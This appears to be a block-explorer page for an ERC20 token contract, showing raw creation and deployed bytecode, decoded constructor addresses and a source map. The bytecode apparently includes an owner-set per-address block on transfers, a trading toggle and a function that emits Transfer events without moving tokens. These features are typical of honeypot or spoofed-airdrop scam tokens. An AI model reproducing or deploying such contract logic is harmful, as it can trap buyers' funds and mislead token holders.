101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c60578082015181840152602081019050611c45565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c8882611c26565b611c928185611c31565b9350611ca2818560208601611c42565b611cab81611c6c565b840191505092915050565b60006020820190508181036000830152611cd08184611c7d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d0382611cd8565b9050919050565b611d1381611cf8565b82525050565b6000602082019050611d2e6000830184611d0a565b92915050565b600080fd5b600080fd5b611d4781611cf8565b8114611d5257600080fd5b50565b600081359050611d6481611d3e565b92915050565b6000819050919050565b611d7d81611d6a565b8114611d8857600080fd5b50565b600081359050611d9a81611d74565b92915050565b60008060408385031215611db757611db6611d34565b5b6000611dc585828601611d55565b9250506020611dd685828601611d8b565b9150509250929050565b60008115159050919050565b611df581611de0565b82525050565b6000602082019050611e106000830184611dec565b92915050565b611e1f81611d6a565b82525050565b6000602082019050611e3a6000830184611e16565b92915050565b600080600060608486031215611e5957611e58611d34565b5b6000611e6786828701611d55565b9350506020611e7886828701611d55565b9250506040611e8986828701611d8b565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611eb857611eb7611e93565b5b8235905067ffffffffffffffff811115611ed557611ed4611e98565b5b602083019150836020820283011115611ef157611ef0611e9d565b5b9250929050565b600080600060408486031215611f1157611f10611d34565b5b600084013567ffffffffffffffff811115611f2f57611f2e611d39565b5b611f3b86828701611ea2565b93509350506020611f4e86828701611d8b565b9150509250925092565b600060ff82169050919050565b611f6e81611f58565b82525050565b6000602082019050611f896000830184611f65565b92915050565b6000611f9a82611cf8565b9050919050565b611faa81611f8f565b8114611fb557600080fd5b50565b600081359050611fc781611fa1565b92915050565b60008060408385031215611fe457611fe3611d34565b5b6000611ff285828601611d8b565b925050602061200385828601611fb8565b9150509250929050565b60006020828403121561202357612022611d34565b5b600061203184828501611d55565b91505092915050565b600063ffffffff82169050919050565b6120538161203a565b811461205e57600080fd5b50565b6000813590506120708161204a565b92915050565b6000806040838503121561208d5761208c611d34565b5b600061209b85828601611d55565b92505060206120ac85828601612061565b9150509250929050565b6120bf81611de0565b81146120ca57600080fd5b50565b6000813590506120dc816120b6565b92915050565b6000806000604084860312156120fb576120fa611d34565b5b600084013567ffffffffffffffff81111561211957612118611d39565b5b61212586828701611ea2565b93509350506020612138868287016120cd565b9150509250925092565b6000806040838503121561215957612158611d34565b5b600061216785828601611d55565b925050602061217885828601611d55565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121c957607f821691505b6020821081036121dc576121db612182565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061221c82611d6a565b915061222783611d6a565b925082820390508181111561223f5761223e6121e2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061227f82611d6a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122b1576122b06121e2565b5b600182019050919050565b60006122c782611d6a565b91506122d283611d6a565b92508282019050808211156122ea576122e96121e2565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b6000612326600e83611c31565b9150612331826122f0565b602082019050919050565b6000602082019050818103600083015261235581612319565b9050919050565b60006040820190506123716000830185611d0a565b61237e6020830184611e16565b9392505050565b600081519050612394816120b6565b92915050565b6000602082840312156123b0576123af611d34565b5b60006123be84828501612385565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006123fd600f83611c31565b9150612408826123c7565b602082019050919050565b6000602082019050818103600083015261242c816123f0565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061248f602583611c31565b915061249a82612433565b604082019050919050565b600060208201905081810360008301526124be81612482565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612521602683611c31565b915061252c826124c5565b604082019050919050565b6000602082019050818103600083015261255081612514565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006125b3602483611c31565b91506125be82612557565b604082019050919050565b600060208201905081810360008301526125e2816125a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612645602283611c31565b9150612650826125e9565b604082019050919050565b6000602082019050818103600083015261267481612638565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006126b1601d83611c31565b91506126bc8261267b565b602082019050919050565b600060208201905081810360008301526126e0816126a4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612743602583611c31565b915061274e826126e7565b604082019050919050565b6000602082019050818103600083015261277281612736565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006127d5602383611c31565b91506127e082612779565b604082019050919050565b60006020820190508181036000830152612804816127c8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612867602983611c31565b91506128728261280b565b604082019050919050565b600060208201905081810360008301526128968161285a565b9050919050565b50565b60006128ad600083611c31565b91506128b88261289d565b600082019050919050565b600060208201905081810360008301526128dc816128a0565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612919602083611c31565b9150612924826128e3565b602082019050919050565b600060208201905081810360008301526129488161290c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612985601b83611c31565b91506129908261294f565b602082019050919050565b600060208201905081810360008301526129b481612978565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220bd298b0269af7cb9517ddc16d994ec274adea95dd9ef323f22541ef61dc0887264736f6c63430008130033000000000000000000000000033a5c2fb4a774052d1fadf5ebe9b7e0a2165b03000000000000000000000000facf98308cf1385ec92cbf04fa8db236af1ab6a0

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102065760003560e01c8063715018a61161011a578063ad296d9d116100ad578063c2b7bbb61161007c578063c2b7bbb6146105f9578063d5abeb0114610615578063dd62ed3e14610633578063ebad8f1614610663578063f2fde38b1461066d57610206565b8063ad296d9d1461055f578063af13dca51461057b578063b7f4e899146105ab578063ba99e4c2146105c957610206565b806395d89b41116100e957806395d89b41146104c35780639c9b4cdb146104e1578063a457c2d7146104ff578063a9059cbb1461052f57610206565b8063715018a61461044d5780637c70f3bf146104575780638d981e36146104875780638da5cb5b146104a557610206565b806326ededb81161019d57806342a5880c1161016c57806342a5880c146103a7578063486d910f146103c557806349bd5a5e146103e15780634ed9428e146103ff57806370a082311461041d57610206565b806326ededb81461031f5780632d3e69ea1461033b578063313ce56714610359578063395093511461037757610206565b806318160ddd116101d957806318160ddd1461029557806319e99550146102b357806321f83c43146102d157806323b872dd146102ef57610206565b806306fdde031461020b5780630754617214610229578063095ea7b31461024757806312fa6feb14610277575b600080fd5b610213610689565b6040516102209190611cb6565b60405180910390f35b61023161071b565b60405161023e9190611d19565b60405180910390f35b610261600480360381019061025c9190611da0565b610741565b60405161026e9190611dfb565b60405180910390f35b61027f610764565b60405161028c9190611dfb565b60405180910390f35b61029d610777565b6040516102aa9190611e25565b60405180910390f35b6102bb610781565b6040516102c89190611e25565b60405180910390f35b6102d96107b4565b6040516102e69190611e25565b60405180910390f35b61030960048036038101906103049190611e40565b6107ba565b6040516103169190611dfb565b60405180910390f35b61033960048036038101906103349190611ef8565b6107e9565b005b6103436108c6565b6040516103509190611dfb565b60405180910390f35b6103616108dd565b60405161036e9190611f74565b60405180910390f35b610391600480360381019061038c9190611da0565b6108e6565b60405161039e9190611dfb565b60405180910390f35b6103af61091d565b6040516103bc9190611e25565b60405180910390f35b6103df60048036038101906103da9190611fcd565b610941565b005b6103e9610a6e565b6040516103f69190611d19565b60405180910390f35b610407610a94565b6040516104149190611e25565b60405180910390f35b6104376004803603810190610432919061200d565b610ab8565b6040516104449190611e25565b60405180910390f35b610455610b01565b005b610471600480360381019061046c9190612076565b610b15565b60405161047e9190611dfb565b60405180910390f35b61048f610b44565b60405161049c9190611d19565b60405180910390f35b6104ad610b6a565b6040516104ba9190611d19565b60405180910390f35b6104cb610b94565b6040516104d89190611cb6565b60405180910390f35b6104e9610c26565b6040516104f69190611d19565b60405180910390f35b61051960048036038101906105149190611da0565b610c4a565b6040516105269190611dfb565b60405180910390f35b61054960048036038101906105449190611da0565b610cc1565b6040516105569190611dfb565b60405180910390f35b610579600480360381019061057491906120e2565b610ce4565b005b6105956004803603810190610590919061200d565b610d91565b6040516105a29190611dfb565b60405180910390f35b6105b3610de7565b6040516105c09190611e25565b60405180910390f35b6105e360048036038101906105de919061200d565b610e0b565b6040516105f09190611dfb565b60405180910390f35b610613600480360381019061060e919061200d565b610e2b565b005b61061d610e77565b60405161062a9190611e25565b60405180910390f35b61064d60048036038101906106489190612142565b610e9b565b60405161065a9190611e25565b60405180910390f35b61066b610f22565b005b6106876004803603810190610682919061200d565b610f83565b005b606060088054610698906121b1565b80601f01602080910402602001604051908101604052809291908181526020018280546106c4906121b1565b80156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061074c611006565b905061075981858561100e565b600191505092915050565b600e60009054906101000a900460ff1681565b6000600754905090565b60007f000000000000000000000000000000000000000000000000000000000124deca436107af9190612211565b905090565b61070881565b6000806107c5611006565b90506107d28582856111d7565b6107dd858585611263565b60019150509392505050565b6107f161189c565b60005b838390508110156108c05783838281811061081257610811612245565b5b9050602002016020810190610827919061200d565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a59190611e25565b60405180910390a380806108b890612274565b9150506107f4565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b6000806108f1611006565b90506109128185856109038589610e9b565b61090d91906122bc565b61100e565b600191505092915050565b7f0000000000000000000000000000000000000000000000000000000065c6a70781565b61096e33600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107ba565b6109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a49061233c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b81526004016109e892919061235c565b6020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b919061239a565b610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6190612413565b60405180910390fd5b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000009184e72a00081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b0961189c565b610b13600061191a565b565b600d6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ba3906121b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610bcf906121b1565b8015610c1c5780601f10610bf157610100808354040283529160200191610c1c565b820191906000526020600020905b815481529060010190602001808311610bff57829003601f168201915b5050505050905090565b7f000000000000000000000000033a5c2fb4a774052d1fadf5ebe9b7e0a2165b0381565b600080610c55611006565b90506000610c638286610e9b565b905083811015610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f906124a5565b60405180910390fd5b610cb5828686840361100e565b60019250505092915050565b600080610ccc611006565b9050610cd9818585611263565b600191505092915050565b610cec61189c565b60005b83839050811015610d8b578160036000868685818110610d1257610d11612245565b5b9050602002016020810190610d27919061200d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d8390612274565b915050610cef565b50505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000124deca81565b60036020528060005260406000206000915054906101000a900460ff1681565b610e3361189c565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000009184e72a00081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2a61189c565b60011515600660009054906101000a900460ff16151503610f65576000600660006101000a81548160ff021916908315150217905550610f81565b6001600660006101000a81548160ff0219169083151502179055505b565b610f8b61189c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612537565b60405180910390fd5b6110038161191a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361107d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611074906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e39061265b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ca9190611e25565b60405180910390a3505050565b60006111e38484610e9b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461125d578181101561124f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611246906126c7565b60405180910390fd5b61125c848484840361100e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906127eb565b60405180910390fd5b60008111611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b9061287d565b60405180910390fd5b61138e83826119e0565b5060011515600660009054906101000a900460ff16151514806113e357506113b4610b6a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061142057506113f1610b6a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561183557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114c85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611686576114d8838383611a04565b611544816040518060600160405280602681526020016129bc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116799190611e25565b60405180910390a3611830565b6116f2816040518060600160405280602681526020016129bc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061178781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118279190611e25565b60405180910390a35b61188c565b60011515600660009054906101000a900460ff1615151461188b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611882906128c3565b60405180910390fd5b5b611897838383611acb565b505050565b6118a4611006565b73ffffffffffffffffffffffffffffffffffffffff166118c2611ad0565b73ffffffffffffffffffffffffffffffffffffffff1614611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190f9061292f565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006119eb83611ae4565b156119fa576119f982611b3a565b5b6001905092915050565b505050565b6000838311158290611a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a489190611cb6565b60405180910390fd5b5060008385611a609190612211565b9050809150509392505050565b6000808284611a7c91906122bc565b905083811015611ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab89061299b565b60405180910390fd5b8091505092915050565b505050565b600080611adb611b80565b90508091505090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008114611b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b74906128c3565b60405180910390fd5b50565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bff57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c21565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c60578082015181840152602081019050611c45565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c8882611c26565b611c928185611c31565b9350611ca2818560208601611c42565b611cab81611c6c565b840191505092915050565b60006020820190508181036000830152611cd08184611c7d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d0382611cd8565b9050919050565b611d1381611cf8565b82525050565b6000602082019050611d2e6000830184611d0a565b92915050565b600080fd5b600080fd5b611d4781611cf8565b8114611d5257600080fd5b50565b600081359050611d6481611d3e565b92915050565b6000819050919050565b611d7d81611d6a565b8114611d8857600080fd5b50565b600081359050611d9a81611d74565b92915050565b60008060408385031215611db757611db6611d34565b5b6000611dc585828601611d55565b9250506020611dd685828601611d8b565b9150509250929050565b60008115159050919050565b611df581611de0565b82525050565b6000602082019050611e106000830184611dec565b92915050565b611e1f81611d6a565b82525050565b6000602082019050611e3a6000830184611e16565b92915050565b600080600060608486031215611e5957611e58611d34565b5b6000611e6786828701611d55565b9350506020611e7886828701611d55565b9250506040611e8986828701611d8b565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611eb857611eb7611e93565b5b8235905067ffffffffffffffff811115611ed557611ed4611e98565b5b602083019150836020820283011115611ef157611ef0611e9d565b5b9250929050565b600080600060408486031215611f1157611f10611d34565b5b600084013567ffffffffffffffff811115611f2f57611f2e611d39565b5b611f3b86828701611ea2565b93509350506020611f4e86828701611d8b565b9150509250925092565b600060ff82169050919050565b611f6e81611f58565b82525050565b6000602082019050611f896000830184611f65565b92915050565b6000611f9a82611cf8565b9050919050565b611faa81611f8f565b8114611fb557600080fd5b50565b600081359050611fc781611fa1565b92915050565b60008060408385031215611fe457611fe3611d34565b5b6000611ff285828601611d8b565b925050602061200385828601611fb8565b9150509250929050565b60006020828403121561202357612022611d34565b5b600061203184828501611d55565b91505092915050565b600063ffffffff82169050919050565b6120538161203a565b811461205e57600080fd5b50565b6000813590506120708161204a565b92915050565b6000806040838503121561208d5761208c611d34565b5b600061209b85828601611d55565b92505060206120ac85828601612061565b9150509250929050565b6120bf81611de0565b81146120ca57600080fd5b50565b6000813590506120dc816120b6565b92915050565b6000806000604084860312156120fb576120fa611d34565b5b600084013567ffffffffffffffff81111561211957612118611d39565b5b61212586828701611ea2565b93509350506020612138868287016120cd565b9150509250925092565b6000806040838503121561215957612158611d34565b5b600061216785828601611d55565b925050602061217885828601611d55565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121c957607f821691505b6020821081036121dc576121db612182565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061221c82611d6a565b915061222783611d6a565b925082820390508181111561223f5761223e6121e2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061227f82611d6a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122b1576122b06121e2565b5b600182019050919050565b60006122c782611d6a565b91506122d283611d6a565b92508282019050808211156122ea576122e96121e2565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b6000612326600e83611c31565b9150612331826122f0565b602082019050919050565b6000602082019050818103600083015261235581612319565b9050919050565b60006040820190506123716000830185611d0a565b61237e6020830184611e16565b9392505050565b600081519050612394816120b6565b92915050565b6000602082840312156123b0576123af611d34565b5b60006123be84828501612385565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006123fd600f83611c31565b9150612408826123c7565b602082019050919050565b6000602082019050818103600083015261242c816123f0565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061248f602583611c31565b915061249a82612433565b604082019050919050565b600060208201905081810360008301526124be81612482565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612521602683611c31565b915061252c826124c5565b604082019050919050565b6000602082019050818103600083015261255081612514565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006125b3602483611c31565b91506125be82612557565b604082019050919050565b600060208201905081810360008301526125e2816125a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612645602283611c31565b9150612650826125e9565b604082019050919050565b6000602082019050818103600083015261267481612638565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006126b1601d83611c31565b91506126bc8261267b565b602082019050919050565b600060208201905081810360008301526126e0816126a4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612743602583611c31565b915061274e826126e7565b604082019050919050565b6000602082019050818103600083015261277281612736565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006127d5602383611c31565b91506127e082612779565b604082019050919050565b60006020820190508181036000830152612804816127c8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612867602983611c31565b91506128728261280b565b604082019050919050565b600060208201905081810360008301526128968161285a565b9050919050565b50565b60006128ad600083611c31565b91506128b88261289d565b600082019050919050565b600060208201905081810360008301526128dc816128a0565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612919602083611c31565b9150612924826128e3565b602082019050919050565b600060208201905081810360008301526129488161290c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612985601b83611c31565b91506129908261294f565b602082019050919050565b600060208201905081810360008301526129b481612978565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220bd298b0269af7cb9517ddc16d994ec274adea95dd9ef323f22541ef61dc0887264736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000033a5c2fb4a774052d1fadf5ebe9b7e0a2165b03000000000000000000000000facf98308cf1385ec92cbf04fa8db236af1ab6a0

-----Decoded View---------------
Arg [0] : initialLPAddress (address): 0x033A5c2Fb4a774052d1Fadf5EBE9b7E0A2165B03
Arg [1] : distributor_ (address): 0xFacF98308cF1385Ec92cBf04fA8Db236af1AB6A0

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000033a5c2fb4a774052d1fadf5ebe9b7e0a2165b03
Arg [1] : 000000000000000000000000facf98308cf1385ec92cbf04fa8db236af1ab6a0


Deployed Bytecode Sourcemap

562:2799:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2510:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;602:21:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4869:201:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1389:17:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3638:108:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2546:109:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1291:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5650:261:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3036:223:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2303:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3481:92:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6320:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;881:42:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1890:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1121:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;684:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3809:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1932:103:6;;;:::i;:::-;;1210:74:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;632:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1296:87:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2729:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1083:31:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7061:436:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4142:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2663:216:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2887:141;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;990:38;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1714:63:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3267:91:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;757:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4398:151:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2400:138:2;;;:::i;:::-;;2319:201:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2510:100:1;2564:13;2597:5;2590:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2510:100;:::o;602:21:2:-;;;;;